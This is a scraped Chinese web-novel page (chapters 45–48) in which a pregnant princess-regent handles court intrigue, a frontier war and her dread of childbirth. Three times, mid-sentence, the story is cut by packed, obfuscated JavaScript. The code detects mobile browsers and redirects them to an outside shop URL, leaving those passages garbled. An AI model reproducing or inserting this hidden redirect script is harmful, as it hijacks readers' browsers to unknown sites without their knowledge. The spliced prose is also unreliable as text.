我扶着肚子走出广明殿,秋风吹在脸上,有微湿的冷意。万家灯火就在远处的山脚下,过不了多久就又要过年了。 为什么每年过年就都得打仗呢?不能让我的百姓们有一天安生日子过吗? 心中的怒火积累起来,恨不得叫人把阿勒奴单于一刀砍死,然后在大齐和西域的边境上修一条长无边际的长城,将这些蛮夷通通拦在山的那一边,永不相见。 但那也只能是想想而已。 孩子仿佛感受到了我的怒气,在肚子里转了个向又安安稳稳地睡去。 近几日太医问诊,说我劳累过度,久坐不站,胎儿恐有寤生风险,还有四月便要临盆,叫我多多走动,少思少虑。 这跟人哭了却别人不要哭,人饿了劝别人不要饿有什么区别?是我自己想的吗? 群狼环伺,但凡行差踏错一步都是死,叫我怎么少思少虑?别人动我要想,别人静我也要想,就譬如自从裴季蕙怀孕后,裴开项与姜旻就再也没找过我的麻烦,这叫我如何不头疼? 我仿佛回到了母亲胁迫大臣拥立姜旻称帝前的那几夜。她发现自己肚子里还有一个皇子,她告诉我,她要把这个皇子打掉。 因为女人生产之时是最脆弱最危险的时候,有时候仇人都不必来找你,你的孩子就能把你拖死。只有在他最小的时候把他打掉,才能换取我们三个人的性命。 可母亲还是走了。 这让生育给我留下了巨大的阴影——我会死在产床上,即便我再强大,身份地位再高贵。身边的能人再多,我还是可能会死在产床上。一切化为乌有。 可我必须要有一个孩子。哪怕只是一个。 他们会在我生产的时候动手吗?还是现在?还是让我的孩子早产一并将我害了?我不敢想,也绝不能让他们这么做。 我要在明年二月临盆之前,将一切都安排好,顺利地迎接我孩子的出生。 我一定要看见她。 “萱萱。”我扭身喊道,“宣裴林琅、卢迁、方宏进宫。” 45. 第 45 章 同时安排方宏和裴林琅实为无奈之举,朝中既熟悉西域路线又有能力和胆魄与阿勒奴硬碰硬的根本没有,只有把这两个祖宗攒到一起才能解决这个问题。 交代好裴林琅和方宏的事情,将他们二人分别送走。我把卢迁单独留下来说话。 我开门见山:“方才裴林琅和方宏那样子你也看见了吧?此次出征,打击阿勒奴是最要紧的,第二要紧的就是他们俩的关系。虽说他们都不是公司不分的人,但若是让阿勒奴人知晓方裴两家的恩怨,他们就大有文章可作了。” 卢迁郑重说道:“末将明白。” “此次你父亲卢老将军也会随行,你虽为统帅,但战事上的事情要多听你父亲的。毕竟你父亲年轻时候可是打败过禺戎和阿勒奴的。”我看着他,“而你,除了打仗的事情,裴林琅和方宏必须得给我看牢了。但凡二人有意见相左的时候,你就把这个苗头给我摁死!听明白了吗?” 我现在的表情应该很吓人,因为卢迁颇为震惊地看着我,重重点了下头。 交代完军务我又开始后悔,总觉裴林琅和方宏应该换掉一个人,可宋君若要在我待产之时护卫左右根本不能离开我,思来想去根本没有人可以替代他们。 我又开始头大了。 晚间,掖庭令送来近一月后宫的开支,裴季蕙的开销增多不少,多是药品和孕妇婴孩所需物品。 我问道:“陛下最近还吃阿芙蓉吗?” “自从皇后怀孕后,陛下就不怎么吃了。有时候实在忍不住,会叫人拿来去偏殿吃。” 我冷笑,随手将账本扔在托盘上:“有什么用。这孩子裴季蕙竟还能保住,用了不少名贵药材吧?” “太医每天都去请平安脉,这是太医署的号脉档案,殿下过目。” 我翻开粗粗一看——裴季蕙的脉象很不稳,全靠药吊着肚子里孩子的命,日后能不能生下来都不知道。 “奴婢拿着这档案出宫问了行脚郎中,郎中们都说一般这种情况,他们都会让孕妇在月份小的时候,喝药把孩子打了。不然留在肚子里极有可能产下死胎,对母体也十分不好。但许多人家都觉得多子多福,他们说实话不讨好还容易落埋怨背骂名,所以这种病症他们一般不太乐意看。” “这孩子是他们裴家想要的,裴季蕙就算不想留在肚子里也得留着,不是你我说了算的。不过也省去我一桩心事,不然我还得像后宫里的女人一样,天天琢磨怎么祸害别人肚子。”我摸了摸我鼓起来的腹部,“真是损阴德。” 掖庭令带着东西离开广明殿,宋君若刚换岗洗漱完照例来陪我睡觉。我的伤寒好得差不多了,便让他上床睡。地上凉,打地铺也不舒服。 宋君若穿着中衣,添了炭火,吹熄烛台便上.床侧拥着我的肚子躺下。他温暖的大手熨帖这我皮肤,宝儿隔着肚皮轻轻踹了她舅舅一下,宋君若惊呼,这是他第一次感受到这个小生命的动静。 “她……她踢我?” 我笑道:“对啊,你再摸摸,他还踢你呢。” 宋君若一脸不可置信的样子:“她会一直这样直到生出来吗?” 我笑着点点头:“肯定是个活泼的孩子。” 我们两个又躺下,宋君若温热的气息拂在我的脖后,双手有一下没一下地抚摸着我圆滚滚的肚子。暗夜中,他轻轻问道:“这个孩子出生后,该叫我什么呢?” 我垂眸:“当然叫你舅舅。” “好吧……”他叹气,颇为不甘,“那……那以后,我……” 他停顿住,我没有接茬。 宋君若转了话锋:“孩子在明年二月临盆吧?那个时候估计西域还在打仗,有的忙了。” “所以我才把你留下。”我握住他的手,“裴季蕙的孩子根本保不住,我们知道裴家必定也知道,但他们还是让裴季蕙留着这个孩子,日后偷天换日也说不准。不过只要我在,量他们也不敢动这么大动作。只怕……” “没有什么只怕!”宋君若声音突然变大,“我守着你,薛大人陈大人那么多人都守着你,肯定会万无一失的。” “我也希望这样。”我艰难地转身,宋君若起身扶着我,将软垫换到另一边垫好肚子才躺下,“但女人生产之时是最凶险最容易下手的时候。当年阿娘那么聪明那么谨慎都会惨遭毒手,那我……” “那不一样。”宋君若很坚定,“当年危机四伏,舅母身边并无可用之人,纵使自己有三头六臂,又怎能敌过群狼环伺,众人虎视眈眈?可你如今不同了,兵权你有我,有方家和卢家,内政你有彤管阁还有薛获和陈蕴,国舅也回来了,你身边都是帮你爱你之人,你不会陷入那般孤立无援的境地,我也不会让你陷入那般境地。” 宋君若夜晚的眼睛像黑曜石般温柔明亮,他摸着我的手,安抚道:“睡吧,好好休息,好好吃饭,再过四个月,你就可以见到你的孩子了,我也可以见到……我的小外甥女了。” “你就笃定是个女儿?” 宋君若笑道:“我此前跟随裴开项去北境,路过华云山,在阿勒奴语里叫塔库塔阿曼,意为神居住的地方。当地人说,很久很久以前,有一个可怜的孩子叫赤莫,父亲上山打猎的时候被野兽吃掉了,母亲呢,生下他后一边辛苦劳作一边抚养他长大,久而久之就落下了病根,在某一天的冬夜长睡不起。 “赤莫很害怕,挨家挨户地敲门乞讨药材,但是那个时候大家都没有药材,给不了赤莫。于是,村中一位德高望重的老人告诉赤莫,只要走进塔库塔阿曼,在里面待三天,向山神祷告,他的愿望就会实现。 “赤莫进山了,过了好久好久,他才出来,好像有一个月。村民们纷纷问他,怎么去了这么久?赤莫说,他用自己五十年的寿命向山神祷告,希望母亲能够苏醒并且一直陪着他。” “后来呢?”我好奇极了,昏昏欲睡但又想知道后面的结局。 宋君若声音低沉和缓,好似就是在哄我睡觉:“后来,赤莫的母亲苏醒过来,五十年后寿终正寝。” “那赤莫呢?他把自己大半的寿命给了自己的母亲,那他怎么办?” “山神感念赤莫一片孝心,给了他一百岁的寿命,与母亲平分五十年。五十年后,他与母亲携手同去。” 眼眶湿湿的,我揉了揉:“很儒家的一个孝道故事,听起来不像是阿勒奴那边的传说。但是你为什么要跟我说这个?” “虽然很儒家,但这确实是阿勒奴的传说。他们说,只要用五年寿命、三日祷告为献,可向神山许一个愿望,山神一定会满足。” “这山神还会除法。” 宋君若笑了:“是啊,山神都可聪明了。” “然后呢,你不会许愿了吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538929|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宋君若没有说话,我心中一紧:“你真的许愿了?用自己的五年寿命?” 他按住我的肩膀,宽慰道:“阿勒奴的传说,对我们齐国汉人可不作数,我听完就走了。” 我将信将疑:“真的?没有许愿?那你将这个给我听做什么?” 宋君若将被子掩好,在我的脸上轻轻吻了一下:“当然是……哄你睡觉。” 第二日丹阳来书,说是一切安稳。公文底下又夹杂了几封私信,几人除了郑辽不敢给我写信,一个个好像是半月写一封,今儿个一次性就寄给了我。 其中冯曦最多,信中写了丹阳的风土人情、奇闻异事,也写了几人彻夜商讨,挨家走访,说这样的日子虽苦,但却真实地接触到百姓与土地,十分快活与踏实。还说见识到了郑大人不同的一面,本以为他是个谨慎细致不苟言笑之人,没想到竟然呆呆的。 我笑着将信件尽数收好,唯独留了裴仲琊的信在桌上。思前想后,终究还是拆开看了。他的信薄薄一张,没有过多的话语,只说自己安好,提了几句末宛与阿勒奴的战事,隔着几句,问我和孩子怎么样。 手发着细微的抖,他知道吗?他应该知道的吧?万一他没有猜到呢? 发着呆,信件却被人从手里抽去,宋君若站在我身旁,扫了一眼信纸,便用烛火把它给燎了。 “别看,省的心烦。”宋君若看着我,“你现在需要静养,不论身心。不要为旁的事分了神。” 我张了张嘴,到底是什么话都没说出来。 - 出征拔营的日子定在十月二十五,本来该是皇帝送行,但我不想看见姜旻,就让他待在自己的麟趾殿别出来。他好像确实长大了,一点儿没闹。 我肚子月份大了,行动不便,便让陈蕴与裴开项待我送行。我坐在边上看着这对本该成为公媳如今却成为同僚的两个人,心中颇为感叹:女人,站在身边总归是比跪在堂下好。 大军拔营,向北方进发。 大齐军队骁勇善战,将帅也是个顶个的好,我并不担心胜负,我只担心那两个人。卢迁在路上不断传信,一月下来连着四封,都说相安无事,已达西域,兵分三路,包抄阿勒奴。 我悬着的心稍稍放下,希冀他们能够顺利完成这次任务,早日凯旋。 天气越发冷,我的肚子也越发沉重。广明殿的炭火烧得很旺,常常在睡梦中把我闷醒。宋君若为了照顾我,与同僚换了晚班,夜夜都来广明殿陪我,夜里倒茶擦汗,事无巨细。 临盆的日子越来越近,薛获也越发紧张,早早地挑起了稳婆,可左挑右挑皆不满意,留下五个,还要坐车去雍丘继续选。我劝她歇会儿,她却像我请了半月的假,说是去民间学习接生。 我讶然:“这岂是半个月就能学会的?” 薛获道:“学点总比不知道的好,省得被人动了手脚还看不出来。殿下与孩子的性命是最最重要的,决不能有半点马虎。” 陈蕴叫了她母亲进宫陪我,徐慧珠早年多病,如今从婆家分门别住后气色好了很多。她拉着我的手又是感恩又是宽慰,还说了许许多多养育孩子的方法。 她好像替阿娘看着我:“诞育孩子是鬼门关里走一遭,不要害怕,你会比你想象中还要勇敢、还要坚强。等你看见她的那一天,你就会发现,一切都是值得的。” 46. [锁] [此章节已锁] 长安在大雪纷飞中爆竹一岁除,广明殿紧闭大门,将炭火烧得红彤彤暖洋洋。本该是宴请群臣欢度除夕的日子,我却与姐妹们蜗居在殿中闭门不出。 八个月的肚子,不管是穿衣行走都太累了。 只能说我低估了这个孩子的威力,一个寄生在我躯体里的活物,比任何外界力量都能够更轻易地催垮我。不是起夜频繁就是呼吸不顺,有时话说着说着就喘不上来气,得歇好一会儿才能继续。陈蕴看我如此,说索性除夕宴就不办了,让他们进宫领赏后就回家吃。 群臣必定也是乐见其成,大年二十九最后一次早朝结束前,宦官宣布这个消息。底下的臣子笑着互相点头,十分满意开心的样子。 “这回可是有整整十日的假呢,外头大雪,殿下可安心待在殿中好好修养一阵了。”萱萱开了一坛酒,除了我将所有人的酒盏都一个个满上。 我叹气:“喝我的酒还只让我看着,真是没天理。” “殿下且忍忍,再过两个月就可以喝了。”陈蕴笑道,“今晚我们叫御厨做了好多殿下爱吃的东西,什么肉啊点心啊应有尽有,殿下就不要委屈了。” 我无奈摇头,随手拿起一篇公文还没开始看呢,就被薛获一把夺过:“今日不想政事,不想朝局,只敬岁月,只为开心。殿下——” 她递给我一杯茶,我接过,抬手端着:“这一年来,多谢诸位,若非诸位相助,我也走不到今日。今天,我便以茶代酒,在此敬谢诸位。” 薛获连忙坐直了身子,双手举杯,眼泪汪汪地看着我。陈蕴、萱萱、小蛮、傅妁也都看着我,举着杯。 “殿下……”薛获眼眶发红,“殿下能至今日,也是我们的幸事。当初若非殿太后,我、萱萱、小蛮都只能是最最低贱的奴婢,永远做着最脏最累的活,受着最委屈的气;如今若非殿下,我们又如何能共商朝事,掌握政权?您说有了我们才有了您,但我们觉得是有了您才有了我们。这一杯,不敬天地,敬殿下。” 薛获声音方落,他们三人便一齐一饮而尽。 陈蕴也被这样的情绪感染,她擦了擦眼角:“当初逃婚,若非殿下救我于水火,我今日怕是已经跑上了哪个山头,过着茹毛饮血的生活了。是殿下让我知道,身为女子,还有别样的人生可以活。” “殿下,您是我见过最最勇敢,最有胆魄的女子。”傅妁也举着酒杯,“微臣愿永远追随殿下。” 她们满腔真情,竟是让我也情绪翻涌,热泪盈眶。当初我势单力薄,走错一步就是死,可她们却能无怨无悔地站在我这一边。都说士为知己者死,那我这个“知己者”又何尝不敢念她们的恩情呢? “行了行了,大过年的哭啊笑啊的。”我抹去眼角的泪水,再斟满自己的茶盏,“今日佳节,不说别的,只愿我们长乐未央,永受嘉福,岁岁年年,吉祥安康。” 薛获道:“也愿殿下腹中胎儿平安降生,母女相见。” “愿我们万事顺遂,善始善终。” 酒足饭饱,几个人歪倒横躺,只有我是清醒的。 我叫侍女给她们准备出广明殿偏殿,扶着她们一个个进去休息。 屋外大雪纷飞,屋内热得闷人。我打开窗户,任由北风吹进大殿,雪花飘落发前。伸手接住,雪花顷刻在手中化为水珠。我拿起砚台往窗外接了几片雪花,哈口气,看着它们融化,就着雪水磨墨。 丹阳的种植并不顺利,从北方迁徙过去的流民大多为北方人,不习江南气候、水性、土壤,对水稻的种植也不慎了解,仍旧当做粟米一般在养。本就稀少的双季稻种子白白浪费了不少。 冯曦发现后立即叫停,命人重新翻土养水修建梯田,又将三千人按照区域划分为二十组,每组配备司农五人,事无巨细教授双季稻的习性、特点、种植方法,还设置了期考,考不出不许种,继续学。 这样的方法好,但是奏效慢,最快也只能等到来年春季才能耕种。双季稻的种子又少了大半,产量必定不会高,要想达到当初定下的目标是更难了。 裴仲琊那边修坝也遇到了瓶颈,原定的地点土壤太过疏松,丹阳多雨,时常滑坡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565343|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不宜修建,需要另选地址。一来二去,这工程怕是要往后延好多年,对人力物力财力都是巨大的耗损。 麟趾殿那儿如今已然变成了裴季蕙做法的道场,姜旻的饮食起居事无巨细皆由她出。彤管使虽然安插进去几个,但裴家人多势众,内殿皆为裴家奴仆,重要消息根本打探不出来多少。只能知道近几日皇后娘娘时常召见世家闺秀进宫喝茶叙旧,但聊的什么一概不能知。 我头疼得倒在榻上,直到手中的奏疏被宋君若抽走。 他已经沐浴过,穿得单薄但浑身散发着热气,额头发丝上还滴着一串串水珠。他将奏疏放到几案上,从木施上拿下我的丝帕擦头发,擦得半干就来榻上抱我。他有意避开我的肚子,我却不让他的手臂横在我的胸上。 宋君若很敏锐,下巴抵在我的头上,闷闷地问道:“为什么不让我抱?” “难受。” 他一紧张:“哪里难受?肚子?” 我有些不好意思讲,仍旧去推他:“你起来。” 他的目光好似移到我的胸上,我心虚地将视线移下去。 丝袍已然被洇湿。 ……………………………………………………………………………… 不知过了多久,宋君若抬起脸,擦了擦嘴巴,躺在我身后,环住我的肚子。 呼吸良久才恢复平稳,我闭着眼,用手去熨帖滚烫的脸颊,根本没有力气理他。 “你就闹吧。”我啐道。 可宋君若听见这话仿佛是得到了什么赦令,竟然有种诡异的兴奋:“当真?” 他的手仿佛试探,仿佛玩笑,开始不老实起来。 ……………………………………………………………………………………………… “姐姐……”宋君若收拾完,帮我换了衣裳,抱着我满足地喟叹,“姐姐你心里是有我的,对吗?你有我。” 我太困了,眼皮睁不开,嘴巴也张不开。 一个湿湿热热地吻叼住我的眼皮,又轻轻松开:“你心里有我。” 47. 第 47 章 昨天晚上闹到太晚,我和宋君若睡到日上三竿才渐渐苏醒。 好在正月初一,放假的侍女宦官不少,值守的人见广明殿静悄悄的,也没有来打扰我。 宋君若手指有一搭没一搭地缠绕着我的发丝,哼着不知名的曲调,心情好极了。见我睁眼,在我脸颊上亲了一口,笑嘻嘻道:“姐姐,新岁吉祥。” 难得无人扰我清梦,一觉醒来神清气爽,看见宋君若也是格外的好看。我捏了捏他的脸,笑道:“新岁吉祥。” 殿外听见里头的动静,有人来敲门。宦官在外喊道:“陈相等在外恭候,祝殿下新岁新禧。” 我朗声喊道:“让她们回去吧,正月初一家里有的好忙了。不必向我请安。” 众人离开,宋君若起身穿好衣服,叫来侍女给我梳洗。萱萱走进来,一脸惊讶地看了看宋君若,神色旋即又恢复正常。宋君若一脸小人得志,翘着嘴,随着侍女们走进来。 萱萱瞪了他一眼:“表公子还是在外等着吧。” 宋君若不服,但萱萱半步不让,他也只好作罢。 外头送来奏疏,我坐在镜前招呼萱萱将丹阳和北境的递给我。 丹阳修坝的进度很不乐观。以往这个时候不常下雨的丹阳突然连着几天暴雨,刚刚筑好的堤坝被冲塌,一连带走十几人,还牵扯了岸上人家,房屋冲毁,百姓失所,好几个村的村民纠集在一起跑到衙门里闹事。县令无法,本想武力镇压,所幸还是被裴仲琊他们巧妙化解。 事情虽平,但怨气不止,丹阳修坝的进度很难再推进下去。当地流离失所的百姓将自己悲惨痛苦的遭遇怪罪在三千徙民身上,说若不是他们这些外来人来到丹阳种地,根本不会改田修坝,他们也沦落不到这样的境地。一定要将他们赶出去。 新旧矛盾永远都是一项改革举措不可避免的阻碍。我得受着,也得解决——修坝之事暂缓,开仓济粮,收容院所,先行解决百姓的宿食问题,稳定民心才能将政令更好的推进。 写完帛书就叫人快马加鞭送回丹阳,有打开西域战况的奏疏——两眼一黑。 真是怕什么来什么。 本来只担心方裴两家的矛盾,所幸他们从出征拔营到现在都还算安稳。我抱着仅存的侥幸期望他们能够相安无事直到战事结束。好嘛,两颗火药好好地放在那里,却来了一捧火——木曲国找上门了。 说什么自己毗邻阿勒奴,凡事若有要帮助的地方皆可找他们。木曲使者见的若是裴林琅倒也好说话,但好巧不巧裴林琅与卢迁皆已从北部和东部朝阿勒奴进发,唯有方宏驻扎在西域,掐算着时日北上与他们汇合。 我坐在广明殿里,无法遏制地怀疑这个木曲国王必定是受了阿勒奴的收买,又或者是脑子被驴踢了。这个时候派使者?末宛都没派使者来打扰,就他们又唱又跳的? “方宏没什么大反应吧?”我心中忐忑,“木曲国的使者都讲了些什么?” “木曲使者坐了很久,说的都是些冠冕堂皇的话,什么提供粮草军资舆图,有用的到他们的地方尽管开口。方宏将军没说什么,就直接将他们打发了。” 悬着的心稍稍放下,我道:“好歹方宏知道事情轻重缓急。人走了就行,就怕赖着不走,徒生烦恼和怨气。行了,这事我知道了,北境的战事要格外关注,务必一天一报。” 萱萱点头记下,刚要离开,陡然睁大了眼睛,捂着嘴巴深色惊慌。 “怎么了?”我顺着她的眼神往下开,心脏被猛然揪起,呼吸停滞,绷直了身子。压抑着情绪,我朝萱萱摆摆手:“去,去传太医还有薛获,快!” 宋君若在外听见声响连忙冲进来。 腿间有温热的湿液流出,血腥气突然在帷幔中炸开。宋君若惶恐地盯着我,立即转身:“我去叫人!” “你回来!”我喊道,“阿若……你回来陪着我……陪着我……” 宋君若连忙折返,一下子跪在我榻前,颤抖着握住我的手:“姐姐……我在这里,我在这里,你别害怕……” 我的双手冰凉,竟然还能笑:“我不怕,我不怕……” 太医匆匆赶来,广明殿上下严阵以待,所有人都屏着呼吸,一时之间安静如同死寂。 号脉多时,宋君若没忍住问道:“这么久了还看不出来吗?你们太医署……” 我瞪了他一眼,问道:“怎么样?” “还未到临盆的时候,殿下今日是见红了。这些都是正常的,孕事后期,妇人若劳累过度确实常有此事。殿下只需好好进补休息,胎儿就能足月安全降生了。” “你是说我还没到时候生?”我面上虽然装得镇定,但心中早就慌了,“都见血了,还不能生?” “这是临盆前兆,预示着殿下就要诞育孩子了。但羊水未破,也无宫缩,确实没到时候。” 我心中将信将疑,太医显然是看出了我的犹豫,道:“殿下若是还担忧,微臣便请太医署其他的太医来看看。” 太医署来了三四个太医,都是这套说辞,我心烦气躁,让他们都下去。那染血的裤子已被拿了下去,我却总觉得腿间还有什么东西在流出来。 所有人都噤若寒蝉,不是看着我就是跪着。我叹了口气,只叫他们都下去。 萱萱与薛获没走,宋君若也不敢留我一人。 “殿下……”薛获握住我冰凉的手,“您别担心。我们都会陪着您的。” 亲人在侧,我再也忍不住恐惧,抱着肚子哽咽出声:“我会不会……会不会也像阿娘当年那样……” “不会!”宋君若斩钉截铁,“我绝不会让此事发生,绝对不会!” “殿下,我们都会在你身边你陪着你的,你相信我们。”萱萱跪在榻边,眼泪倾泻而出。 “我当然相信你们所有人,但是这事儿不是我们说了算的。很多事情我都可以做主,都可以说了算,但是这事儿不行,这是老天爷说了算的……”我道,“你们不知道,我看了前朝许许多多妃嫔的生产记录——满目血腥。一条条人命,要么就是产前孕妇没了,要么就是难产而死或是得了什么产褥病而死,还有孩子,有死胎有畸胎,有夭折的,有枉死的…… “我……”几月来压抑的恐惧与害怕在此刻爆发,“我如今是长公主殿下,是这未央宫的掌权者,但是我在老天爷的眼里我只不过是个凡人,我或生或死都是由他做主的。我不过是个凡人……” “姐姐……姐姐……姜毓卿!”宋君若大喊一声,如同霹雳惊雷,“你看着我!” 我朦胧着双眼,浑身颤抖地望向他。 “你听着姜毓卿,且不论这世上是否真的有神明能决定一切,就算是有,我也同塔库塔阿曼祈愿了,我祈愿你能平安诞下一个女儿,老天爷也得卖他一个面子。我们那么多人,那么多人站在你这边,老天爷就算是一万个不愿意,我们也会将他找出来好好教训一顿让他愿意。何况天命是站在你这边的,你自己从前不也是这么讲的吗? “你是天命所归,万事万物都会为你所用,都必然为你所用!你能排除万难,战胜千险,直到你实现你真正的理想。这个孩子只不过是你人生道路上的一个坎儿而已,她不会是你人生的终结,她是你人生的礼物与恩赐。你要相信你自己,也请相信我们,好吗?” 宋君若的话语坚定有力,他紧握的双手犹如磐石,让我漂浮不定的心安稳下来。 “不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678985|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害怕,我们所有人都会陪在你身边的。所有人。” 薛获抹掉眼泪:“宋将军说的是。您一定会平安诞育皇嗣!萱萱,我们快走,一切都要准备起来了。稳婆、侍女、太医、护卫每一个都要审查再审查,还有产褥、药材、进食、衣裳也得全部准备起来。”她仿佛打了鸡血,“萱萱我们走,现在开始即便是彻夜达旦也要把所有事情都做好!” 萱萱无有不从,立即起身跟随她出去。 宋君若还在床边看着我,我也看着他:“阿若……” 宋君若忽然一把抱住我,将脸深深地埋在我的颈窝:“我以前还期望过你肚子里的孩子是我的就好了……可我现在什么都不想要了,我只要你平安。我只要你一个人。” 我也抱住他,期望他能用他温暖的躯体驱散我的恐惧。 “姐姐,我会永远守在你身边,不管是谁想害你,我都会直接杀了他!如果是老天爷要将你夺走,我就……让所有人都没有好日子过。”我从未想过这样偏执血腥的话会从宋君若的口中说出来。上过战场的少年不再是那个只会躲在我身后的少年了,见过了刀光剑影,也更懂得如何去保护身边的人。 他让我感到安心。 我捧着他的脸,心中终于放松了几分,笑着点点头:“姐姐相信你。” “殿下,皇后娘娘来了。” 外头有人传话,我微微一愣,松开宋君若的怀抱,冷笑:“消息倒是灵通。” 裴季蕙扶着她的肚子走进来,后头跟着一长串侍女,端盒子端盘子。一看见我,脸上就堆起笑容,快步走过来嘘寒问暖。 说些有的没的,还不如鸡打鸣有用。 我强忍着把她赶出去的想法,冲她笑了笑:“多谢皇后体恤,孕妇八月见红是常有之事,小心便好,不必太过担忧。倒是皇后你,陛下阿芙蓉成瘾,你保全胎儿定是不易,更要好好照顾自己啊。” 裴季蕙本还关切的表情僵硬了一下,又牵扯起嘴角:“是,多谢姐姐关怀。今日前来,臣妾也是要来跟姐姐说子嗣的事。如果陛下也长大了,后宫之中只有我一个皇后,臣妾难免会落下个妒妇的坏名声。是以,臣妾与陛下商议开春后选妃,陛下属意从京城高官、世家大族里头挑选。这样的女子知书达理,性情样貌也是一等一的好,陛下喜欢。” 我笑了笑:“真是陛下自愿的?” 裴季蕙点头:“是啊,也许是臣妾……不得陛下的心吧。” 我瞥了她一眼:“不管得不得,皇后腹中已有子嗣,这才是最要紧的不是?” 我看着她的肚子,伸过手去,她突然攥住衣袖,盯着我,没有说话。 温热的肚子,下面藏的东西是活的还是死的呢? 若是活的,我该怎么办?若是死的,我又该怎么办呢? 留,是肯定不能留的。 我摩挲了一阵,收回手:“若是陛下的意思,本宫也没有阻拦的理由。皇帝选妃理之自然,希望能选出个让他满意的。” 裴季蕙松了口气,见我答应,立即起身要告辞。 我叫住她:“皇后的肚子也快五个月了吧,我五个月的时候肚子比你大多了。太医说胎儿在娘胎里要养足了,生下来才好活。皇后娘娘除了陛下选妃之事要上心,孩子的事儿也记得要放在心上,那些个闺中密友还是少来往的好。毕竟未央宫、麟趾殿是天子之地,什么样的人该来,什么样的人不该来,皇后心中须得好好掂量掂量。你们闺密只是叙话当然没什么,若是冲撞了殿下……皇后又该怎么收场呢?” 裴季蕙浑身僵硬,盯着我,半天才挤出一个笑容:“姐姐教训的是,臣妾铭记于心。姐姐临盆在即,祝愿姐姐母子平安。” 48. 第 48 章 裴季蕙找人来,无非是知道自己肚子里的孩子活不长久,想要拖更多人下水为他们裴家卖命罢了。 这样的心思昭然若揭,但仍旧有人愿意将身家性命全副寄托在裴家身上——光禄勋将女儿送进来了。 不知道是姜旻真的喜欢还是裴季蕙硬要让他喜欢,呈上来的入选名册中,秦澄的名字赫然在列,还是响当当地排在第一个,和当时的裴季蕙一模一样。 十六岁的年级,如花一般的人一个个前仆后继来到这座吃人不吐骨头的未央宫,希冀命运能垂怜她们,带她们走上至高无上的位置。 可又有谁能笃定这个位置就一定是她们的? 位置永远在那里,而人永远再换。 秦澄被封为昭仪,赐居庆阳殿,其余零零散散的家人子也都被一一册封,安置在掖庭各个宫室中。 我翻着小蛮送来的账册,吩咐道:“新妃入宫,记得从府库里拿些赏赐分过去。秦昭仪的首月份例以三倍的规格送去,再去我的库房里拿一堆组玉佩和一只玉如意,就说让她伺候好陛下。皇后娘娘如今人在孕中,不要让她过多操心,有些事可以自己做主,本宫相信她的能力和为人。” 小蛮心领神会。 薛获对我同意选妃之事十分不解,我即将生产,此时宫中多一人多一份风险,为什么还要将这么多女人招进宫中。 这女人啊,不是我想不招就不招的,她们想要进未央宫有的是办法,与其让她们打个措手不及,不如自己同意还能悄悄地塞自己的人。 薛获闻言一愣,我向她眨了眨眼睛:掖庭里早就有彤管使了。 - 怀孕整九月时,我便歇了朝,只叫人送奏疏到广明殿,等我批完再带走。 肚子沉沉欲坠,太医说这是孩子即将出生的征兆,等到肚子在下去一个指节,那她就要来到这个世界上了。 我的孩子,姜兆华就要来到这个世界上了。 我不知道该如何用言语形容我的感受——我,一个活生生的人,于天地而言朝生暮死的人,将要诞育一个新的生命。我能看着她从一个小不点一点点长大直到变成我这样而后再慢慢变老。我能牵着她的手体验人世间一切的悲欢离合,我能给予她我所得到的权利、地位、金钱,让她站在世间的最高点俯瞰众生。 她是我的孩子,只属于我一个人的。 每一次深夜,我都用我的手臂圈住她,隔着肚皮与她喃喃低语:“宝宝,阿娘马上就能见到你了。” 我不知道当年母亲生我时是何种感受,她失去两个孩子才有得我。她必定比我现在更加珍惜,更加爱护自己的孩子。 时过境迁,我也站在了她曾经站过的位子——期待着新生命的到来。 我心中忽然有股充盈而温暖的力量——我是爱我母亲的,那我的孩子必定也是爱我的。她爱我,会让我就此撒手人寰,死在方寸之间的小小产床上吗? 我不会,我的女儿也肯定不会。 我抱着肚子,再一次踏进太庙——这是我们姜家世世代代祖祖辈辈,是这片土地的主人与神灵。我走到父母的牌位前,恭恭敬敬替他们上了三炷香。 当时的我在这里三掷圣筊,下定决心篡位掌权,除五王、广积粮、垦荒地、建内阁、掌兵权、御外敌,一路而来走到现在。如今,将迎来新的人生意义。 我双手合十,口中默念,祈愿列祖列宗,父母先辈保佑,叫我平安诞下皇嗣,以保千岁无忧。 母亲牌位前的琉璃长明灯摇晃着,光点在我眼前跳来跳去。 “阿娘……我也马上就要做母亲了。”我望着她,“我会给她我能给的一切,就像您当年一样。” 肚子里的孩子仿佛感应到了什么,不停地动来动去。 “我们会平安相见的,对吗?” 微风吹进大殿,裹着烛火的温热,像拥抱一样将我包围。 万籁俱寂,唯有烛油燃烧之声。 心沉静如海。 我抬眼望去,牌位熠熠,满目光芒。 - 